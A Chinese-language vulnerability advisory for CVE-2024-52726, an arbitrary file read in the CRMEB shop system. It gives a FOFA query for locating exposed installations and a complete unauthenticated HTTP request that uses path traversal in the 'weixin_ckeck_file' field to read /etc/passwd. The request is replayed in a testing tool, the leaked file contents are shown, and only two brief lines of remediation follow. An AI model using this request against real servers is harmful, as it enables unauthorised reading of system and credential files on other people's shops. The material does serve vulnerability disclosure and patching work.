

CRMEB 任意文件读取漏洞（CVE-2024-52726）

漏洞描述

CRMEB开源商城系统 存在任意文件读取漏洞，未授权的攻击者可获取数据库敏感信息。

影响版本

CRMEB开源商城

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/wap/first/zsff/iconfont/iconfont.css" | body="CRMEB"

POC/EXP:

```
POST /adminapi/setting/config/save_basics HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Authorization:
Cookie: cb_lang=zh-cn;
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json; charset=utf-8
Content-Length: 72
```

```
{"weixin_ckeck_file":"../../../../../../../../../etc/passwd"}
```

发送请求

强制 HTTPS

历史

爆破示例

生成 Yarn

Request

数据包扫描 美化 热加载 构造请求

1 POST /adminapi/setting/config/save_basics HTTP/1.1

2 Host : 192.168.1.1

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate

7 Connection: close

8 Authorization:

9 Cookie: cb_lang=zh-cn;

10 Sec-Fetch-Dest: document

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-Site: none

13 Sec-Fetch-User: ?1

14 Priority: u=0, i

15 Content-Type: application/json; charset=utf-8

16 Content-Length: 72

17

18 {"weixin_ckeck_file":"../../../../../../../../../etc/passwd"}

Responses 2102bytes / 188ms

美化 编码 详情

1 HTTP/1.1 200 OK

2 Connection: close

3 Date: Wed, 19 Mar 2025 02:02:46 GMT

4 Server: nginx

5 Content-Type: text/plain

6 Content-Length: 2102

7

8 root:x:0:0:root:/root:/bin/bash

9 mongodb:*:1:1:mongodb:/usr/mongodb:/sbin/nologin

10 libvirt-qemu:*:2:2:libvirt-qemu:/usr/libvirt-qemu:/sbin/nologin

11 operator:*:3:3:operator:/usr/operator:/sbin/nologin

12 kong:x:4:4:kong:/usr/kong:/sbin/nologin

13 git:x:5:5:git:/usr/git:/sbin/nologin

14 k8s:x:6:6:k8s:/usr/k8s:/sbin/nologin

15 zookeeper:*:7:7:zookeeper:/usr/zookeeper:/sbin/nologin

16 tomcat:*:8:8:tomcat:/usr/tomcat:/sbin/nologin

17 kafka:x:9:9:kafka:/usr/kafka:/sbin/nologin

18 kubernetes:x:10:10:kubernetes:/usr/kubernetes:/sbin/nologin

19 bin:*:11:11:bin:/usr/bin:/sbin/nologin

20 memcached:*:12:12:memcached:/usr/memcached:/sbin/nologin

21 nginx-rtmp:*:13:13:nginx-rtmp:/usr/nginx-rtmp:/sbin/nologin

22 docker:x:14:14:docker:/usr/docker:/sbin/nologin

23 bitcoind:*:15:15:bitcoind:/usr/bitcoind:/sbin/nologin

24 openshift:*:16:16:openshift:/usr/openshift:/sbin/nologin

25 hadoop:*:17:17:hadoop:/usr/hadoop:/sbin/nologin

26 flink:*:18:18:flink:/usr/flink:/sbin/nologin

27 daemon:*:19:19:daemon:/usr/daemon:/sbin/nologin

28 cassandra:*:20:20:cassandra:/usr/cassandra:/sbin/nologin

29 lp:*:21:21:lp:/usr/lp:/sbin/nologin

30 saslauth:*:22:22:saslauth:/usr/saslauth:/sbin/nologin

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本